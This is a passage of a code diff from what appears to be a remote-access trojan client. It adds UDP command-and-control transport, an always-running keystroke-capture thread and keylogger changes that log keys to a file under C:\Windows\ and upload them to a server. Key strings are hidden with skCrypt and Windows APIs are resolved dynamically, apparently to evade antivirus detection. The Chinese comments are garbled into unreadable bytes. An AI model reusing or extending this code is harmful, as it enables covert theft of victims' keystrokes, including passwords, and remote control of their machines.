 					//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
 					//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>಻һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
-					if (m_DataProcess)
-						m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
+					int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
+					if (ret) {
+						Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
+					}
 				}
 				else{
 					Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
@@ -481,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
 		int j = 0;
 		for (; j < ulSendRetry; ++j)
 		{
-			iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
+			iReturn = SendTo(Travel, ulSplitLength, 0);
 			if (iReturn > 0)
 			{
 				break;
@@ -501,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
 		int j = 0;
 		for (; j < ulSendRetry; j++)
 		{
-			iReturn = send(m_sClientSocket, (char*)Travel,i,0);
+			iReturn = SendTo((char*)Travel,i,0);

 			if (iReturn > 0)
 			{
@@ -524,7 +532,7 @@ VOID IOCPClient::Disconnect()
 	if (m_sClientSocket == INVALID_SOCKET)
 		return;

-	Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
+	Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);

 	CancelIo((HANDLE)m_sClientSocket);
 	closesocket(m_sClientSocket);	
@@ -537,7 +545,7 @@ VOID IOCPClient::Disconnect()
 VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
 {
 	Mprintf("======> RunEventLoop begin\n");
-	while (m_bIsRunning && bCondition)
+	while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
 		Sleep(200);
 	setManagerCallBack(NULL, NULL);
 	Mprintf("======> RunEventLoop end\n");
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -2,12 +2,7 @@
 //
 //////////////////////////////////////////////////////////////////////

-#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
-#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
-
-#if _MSC_VER > 1000
 #pragma once
-#endif // _MSC_VER > 1000

 #ifdef _WIN32
 #include "stdafx.h"
@@ -64,28 +59,18 @@ class IOCPClient
 public:
 	IOCPClient(State& bExit, bool exit_while_disconnect = false);
 	virtual ~IOCPClient();
-	SOCKET   m_sClientSocket;
-	CBuffer	 m_CompressedBuffer;
-	BOOL	 m_bWorkThread;
-	HANDLE   m_hWorkThread;
-#if USING_CTX
-	ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-#endif
+
 	int SendLoginInfo(const LOGIN_INFOR& logInfo) {
 		LOGIN_INFOR tmp = logInfo;
 		int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));

 		return iRet;
 	}
-	BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
-	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
+	virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
+
 	BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
 		return OnServerSending(szBuffer, ulOriginalLength);
 	}
-	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
-	BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
-	BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);

 	void SetServerAddress(const char* szServerIP, unsigned short uPort) {
 		m_Domain = szServerIP ? szServerIP : "127.0.0.1";
@@ -101,18 +86,47 @@ public:
 		m_bIsRunning = FALSE;
 	}

+	VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
+
+	VOID RunEventLoop(const BOOL &bCondition);
+	bool IsConnected() const { return m_bConnected == TRUE; }
+	BOOL Reconnect(void* manager) {
+		Disconnect();
+		if (manager) m_Manager = manager;
+		return ConnectServer(NULL, 0);
+	}
+	State& GetState() {
+		return g_bExit;
+	}
+protected:
+	virtual int ReceiveData(char* buffer, int bufSize, int flags) {
+		// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
+		return recv(m_sClientSocket, buffer, bufSize - 1, 0);
+	}
+	virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
+	virtual int SendTo(const char* buf, int len, int flags) {
+		return ::send(m_sClientSocket, buf, len, flags);
+	}
+	BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
+	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
+	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
+	BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
+
+protected:
+	sockaddr_in			m_ServerAddr;
+	char				m_szPacketFlag[FLAG_LENGTH + 3];
+	SOCKET				m_sClientSocket;
+	CBuffer				m_CompressedBuffer;
+	BOOL				m_bWorkThread;
+	HANDLE				m_hWorkThread;
 	BOOL				m_bIsRunning;
 	BOOL				m_bConnected;

-	char    m_szPacketFlag[FLAG_LENGTH + 3];
+#if USING_CTX
+	ZSTD_CCtx*			m_Cctx;						// ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	ZSTD_DCtx*			m_Dctx;						// <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+#endif

-	VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
-
-	VOID Disconnect();
-	VOID RunEventLoop(const BOOL &bCondition);
-	bool IsConnected() const { return m_bConnected == TRUE; }
-
-public:	
 	State&				g_bExit;					// ȫ<><C8AB>״̬<D7B4><CCAC>
 	void*				m_Manager;					// <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
 	DataProcessCB		m_DataProcess;				// <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
@@ -121,5 +135,3 @@ public:
 	int					m_nHostPort;
 	bool				m_exit_while_disconnect;
 };
-
-#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
--- a/client/IOCPUDPClient.cpp
+++ b/client/IOCPUDPClient.cpp
@@ -0,0 +1,63 @@
+#include "IOCPUDPClient.h"
+
+
+BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
+	if (szServerIP != NULL && uPort != 0) {
+		SetServerAddress(szServerIP, uPort);
+	}
+	m_sCurIP = m_Domain.SelectIP();
+	unsigned short port = m_nHostPort;
+
+	// <20><><EFBFBD><EFBFBD> UDP socket
+	m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
+	if (m_sClientSocket == INVALID_SOCKET) {
+		Mprintf("Failed to create UDP socket\n");
+		return FALSE;
+	}
+
+	// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ṹ
+	memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
+	m_ServerAddr.sin_family = AF_INET;
+	m_ServerAddr.sin_port = htons(port);
+
+#ifdef _WIN32
+	m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
+#else
+	if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
+		Mprintf("Invalid address or address not supported\n");
+		closesocket(m_sClientSocket);
+		m_sClientSocket = INVALID_SOCKET;
+		return FALSE;
+	}
+#endif
+
+	// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
+	if (m_hWorkThread == NULL) {
+#ifdef _WIN32
+		m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
+		m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
+#else
+		pthread_t id = 0;
+		m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
+#endif
+	}
+
+	Mprintf("UDP client socket created and ready to send.\n");
+	m_bConnected = TRUE;
+	return TRUE;
+}
+
+int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
+	sockaddr_in fromAddr;
+	int fromLen = sizeof(fromAddr);
+	return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
+}
+
+int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
+	if (len > 1200) {
+		Mprintf("UDP large packet may lost: %d bytes\n", len);
+	}
+	return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
+}
--- a/client/IOCPUDPClient.h
+++ b/client/IOCPUDPClient.h
@@ -0,0 +1,16 @@
+#pragma once
+#include "IOCPClient.h"
+
+class IOCPUDPClient : public IOCPClient
+{
+public:
+	IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
+
+	virtual ~IOCPUDPClient(){}
+
+	virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
+
+	virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
+
+	virtual int SendTo(const char* buf, int len, int flags) override;
+};
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -13,12 +13,32 @@
 #include "common/dllRunner.h"
 #include "server/2015Remote/pwd_gen.h"
 #include <common/iniFile.h>
+#include "IOCPUDPClient.h"
+
+// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
+	if (conn->protoType == PROTO_TCP)
+		return new IOCPClient(bExit, exit_while_disconnect);
+	if (conn->protoType == PROTO_UDP)
+		return new IOCPUDPClient(bExit, exit_while_disconnect);
+
+	return NULL;
+}
+
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
+	static ThreadInfo tKeyboard;
+	tKeyboard.run = FOREVER_RUN;
+	tKeyboard.p = new IOCPClient(bExit, false);
+	tKeyboard.conn = conn;
+	tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
+	return &tKeyboard;
+}

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////

-CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance) 
+CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb)
 	: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
 {
 	m_ulThreadCount = 0;
@@ -28,6 +48,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
 	m_settings = { 30 };
 #endif
 	m_nNetPing = -1;
+	m_hKeyboard = kb;
 }

 CKernelManager::~CKernelManager()
@@ -185,6 +206,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) {
 	return 0x20250529;
 }

+DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
+	CManager* pMgr = (CManager*)lParam;
+	if (pMgr) {
+		pMgr->Reconnect();
+		pMgr->Notify();
+	}
+	return 0xDead0001;
+}
+
 VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 {
 	bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -201,8 +231,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 	case CMD_AUTHORIZATION: {
 		HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
 		hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
+#ifndef _DEBUG
 		if (hMutex == NULL) // û<>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>
 			break;
+#endif
 		CloseHandle(hMutex);

 		char buf[100] = {}, *passCode = buf + 5;
@@ -215,8 +247,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			memcpy(buf + 32, pwdHash, 64);						// 64<36>ֽ<EFBFBD>
 			m_ClientObject->Send2Server((char*)buf, sizeof(buf));
 		} else {
+			int* days = (int*)(buf + 1);
 			config* cfg = pwdHash == masterHash ? new config : new iniFile;
-			cfg->SetStr("settings", "Password", passCode);
+			cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
+			cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
 			delete cfg;
 			g_bExit = S_SERVER_EXIT;
 		}
@@ -286,8 +320,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		break;
 	case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
 		{
+			if (m_hKeyboard) {
+				CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
+			} else {
 				m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
 				m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+			}
 			break;
 		}

@@ -323,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 	case COMMAND_BYE:
 		{
 			BYTE	bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
-			m_ClientObject->OnServerSending((char*)&bToken, 1);
+			m_ClientObject->Send2Server((char*)&bToken, 1);
 			g_bExit = S_CLIENT_EXIT;
 			Mprintf("======> Client exit \n");
 			break;
@@ -331,8 +369,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

 	case SERVER_EXIT:
 		{
-			BYTE	bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>  
-			m_ClientObject->OnServerSending((char*)&bToken, 1);
+			// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
 			g_bExit = S_SERVER_EXIT;
 			Mprintf("======> Server exit \n");
 			break;
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -20,6 +20,11 @@
 #include <TlHelp32.h>
 #include "LoginServer.h"

+// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
+
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
+
 class ActivityWindow {
 public:
 	std::string Check(DWORD threshold_ms = 6000) {
@@ -77,10 +82,10 @@ class CKernelManager : public CManager
 public:
 	CONNECT_ADDRESS* m_conn;
 	HINSTANCE m_hInstance;
-	CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
+	CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb);
 	virtual ~CKernelManager();
 	VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
-
+	ThreadInfo* m_hKeyboard;
 	ThreadInfo  m_hThread[MAX_THREADNUM];
 	// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
 	// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -2,8 +2,12 @@
 //
 //////////////////////////////////////////////////////////////////////

+#include "Common.h"
 #include "KeyboardManager.h"
 #include <tchar.h>
+
+#if ENABLE_KEYBOARD
+
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -11,24 +15,25 @@
 #include <iostream>
 #include <winbase.h>
 #include <winuser.h>
+#include "keylogger.h"
+#include <iniFile.h>

-#define FILE_PATH "\\MODIf.html"
 #define CAPTION_SIZE 1024

-CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
+CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
 {
-    sendStartKeyBoard();
-    WaitForDialogOpen();
-    sendOfflineRecord();
+    m_bIsOfflineRecord = offline;

-    GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
-    lstrcat(m_strRecordFile, FILE_PATH);
+    char path[MAX_PATH] = { "C:\\Windows\\" };
+	GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
+    strcpy_s(m_strRecordFile, path);
+    m_Buffer = new CircularBuffer(m_strRecordFile);

    m_bIsWorking = true;
-    dKeyBoardSize = 0;

    m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
    m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
+    SetReady(TRUE);
 }

 CKeyboardManager1::~CKeyboardManager1()
@@ -38,6 +43,15 @@ CKeyboardManager1::~CKeyboardManager1()
    WaitForSingleObject(m_hSendThread, INFINITE);
    CloseHandle(m_hWorkThread);
    CloseHandle(m_hSendThread);
+    m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    delete m_Buffer;
+}
+
+void CKeyboardManager1::Notify() {
+    if (NULL == this)
+        return;
+    sendStartKeyBoard();
+    WaitForDialogOpen();
 }

 void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
@@ -46,14 +60,15 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
        NotifyDialogIsOpen();

    if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
+        m_bIsOfflineRecord = lpBuffer[1];
+        iniFile cfg(CLIENT_PATH);
+        cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
    }

    if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
-        DeleteFile(m_strRecordFile);
-        HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
-                                  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-        CloseHandle(hFile);
-        dKeyBoardSize = 0;
+        m_Buffer->Clear();
+        GET_PROCESS_EASY(DeleteFileA);
+        DeleteFileA(m_strRecordFile);
    }
 }

@@ -61,9 +76,9 @@ int CKeyboardManager1::sendStartKeyBoard()
 {
    BYTE	bToken[2];
    bToken[0] = TOKEN_KEYBOARD_START;
-    bToken[1] = (BYTE)true;
+    bToken[1] = (BYTE)m_bIsOfflineRecord;

-    return Send((LPBYTE)&bToken[0], sizeof(bToken));
+    return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
 }


@@ -71,50 +86,22 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
 {
    int nRet = -1;
    DWORD	dwBytesLength = 1 + nSize;
+    GET_PROCESS(DLLS[KERNEL], LocalAlloc);
    LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);

    lpBuffer[0] = TOKEN_KEYBOARD_DATA;
    memcpy(lpBuffer + 1, lpData, nSize);

-    nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
+    nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
+    GET_PROCESS(DLLS[KERNEL], LocalFree);
    LocalFree(lpBuffer);

    return nRet;
 }

-int CKeyboardManager1::sendOfflineRecord(DWORD	dwRead)
-{
-    int		nRet = 0;
-    DWORD	dwSize = 0;
-    DWORD	dwBytesRead = 0;
-    HANDLE	hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
-                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-
-    if (hFile != INVALID_HANDLE_VALUE) {
-        dwSize = GetFileSize(hFile, NULL);
-        dKeyBoardSize = dwSize;
-        if (0 != dwRead) {
-            SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
-            dwSize -= dwRead;
-        }
-
-        TCHAR *lpBuffer = new TCHAR[dwSize];
-        ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
-
-        // <20><><EFBFBD><EFBFBD>
-        for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
-            lpBuffer[i] ^= '`';
-
-        nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
-        delete[] lpBuffer;
-    }
-    CloseHandle(hFile);
-    return nRet;
-}
-
-
 std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
 {
+    GET_PROCESS(DLLS[USER32], GetKeyState);
    std::string KeyString = "";
    //<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
@@ -124,207 +111,207 @@ std::string GetKey(int Key) //
        switch(Key) {
        case 186:
            if(IS)
-                KeyString = ":";
+                KeyString = skCrypt(":");
            else
-                KeyString = ";";
+                KeyString = skCrypt(";");
            break;
        case 187:
            if(IS)
-                KeyString = "+";
+                KeyString = skCrypt("+");
            else
-                KeyString = "=";
+                KeyString = skCrypt("=");
            break;
        case 188:
            if(IS)
-                KeyString = "<";
+                KeyString = skCrypt("<");
            else
-                KeyString = ",";
+                KeyString = skCrypt(",");
            break;
        case 189:
            if(IS)
-                KeyString = "_";
+                KeyString = skCrypt("_");
            else
-                KeyString = "-";
+                KeyString = skCrypt("-");
            break;
        case 190:
            if(IS)
-                KeyString = ">";
+                KeyString = skCrypt(">");
            else
-                KeyString = ".";
+                KeyString = skCrypt(".");
            break;
        case 191:
            if(IS)
-                KeyString = "?";
+                KeyString = skCrypt("?");
            else
-                KeyString = "/";
+                KeyString = skCrypt("/");
            break;
        case 192:
            if(IS)
-                KeyString = "~";
+                KeyString = skCrypt("~");
            else
-                KeyString = "`";
+                KeyString = skCrypt("`");
            break;
        case 219:
            if(IS)
-                KeyString = "{";
+                KeyString = skCrypt("{");
            else
-                KeyString = "[";
+                KeyString = skCrypt("[");
            break;
        case 220:
            if(IS)
-                KeyString = "|";
+                KeyString = skCrypt("|");
            else
-                KeyString = "\\";
+                KeyString = skCrypt("\\");
            break;
        case 221:
            if(IS)
-                KeyString = "}";
+                KeyString = skCrypt("}");
            else
-                KeyString = "]";
+                KeyString = skCrypt("]");
            break;
        case 222:
            if(IS)
                KeyString = '"';
            else
-                KeyString = "'";
+                KeyString = skCrypt("'");
            break;
        }
    }
    //<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
    if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
-        KeyString = "[Esc]";
+        KeyString = skCrypt("[Esc]");
    else if (Key == VK_F1) // F1<46><31>F12
-        KeyString = "[F1]";
+        KeyString = skCrypt("[F1]");
    else if (Key == VK_F2)
-        KeyString = "[F2]";
+        KeyString = skCrypt("[F2]");
    else if (Key == VK_F3)
-        KeyString = "[F3]";
+        KeyString = skCrypt("[F3]");
    else if (Key == VK_F4)
-        KeyString = "[F4]";
+        KeyString = skCrypt("[F4]");
    else if (Key == VK_F5)
-        KeyString = "[F5]";
+        KeyString = skCrypt("[F5]");
    else if (Key == VK_F6)
-        KeyString = "[F6]";
+        KeyString = skCrypt("[F6]");
    else if (Key == VK_F7)
-        KeyString = "[F7]";
+        KeyString = skCrypt("[F7]");
    else if (Key == VK_F8)
-        KeyString = "[F8]";
+        KeyString = skCrypt("[F8]");
    else if (Key == VK_F9)
-        KeyString = "[F9]";
+        KeyString = skCrypt("[F9]");
    else if (Key == VK_F10)
-        KeyString = "[F10]";
+        KeyString = skCrypt("[F10]");
    else if (Key == VK_F11)
-        KeyString = "[F11]";
+        KeyString = skCrypt("[F11]");
    else if (Key == VK_F12)
-        KeyString = "[F12]";
+        KeyString = skCrypt("[F12]");
    else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
-        KeyString = "[PrScrn]";
+        KeyString = skCrypt("[PrScrn]");
    else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-        KeyString = "[Scroll Lock]";
+        KeyString = skCrypt("[Scroll Lock]");
    else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
-        KeyString = "[Pause]";
+        KeyString = skCrypt("[Pause]");
    else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
-        KeyString = "[Caps Lock]";
+        KeyString = skCrypt("[Caps Lock]");

    //-------------------------------------//
    //<2F><><EFBFBD>Ƽ<EFBFBD>
    else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
-        KeyString = "[Backspace]";
+        KeyString = skCrypt("[Backspace]");
    else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-        KeyString = "[Enter]\n";
+        KeyString = skCrypt("[Enter]\n");
    else if (Key == VK_SPACE) // <20>ո<EFBFBD>
-        KeyString = " ";
+        KeyString = skCrypt(" ");
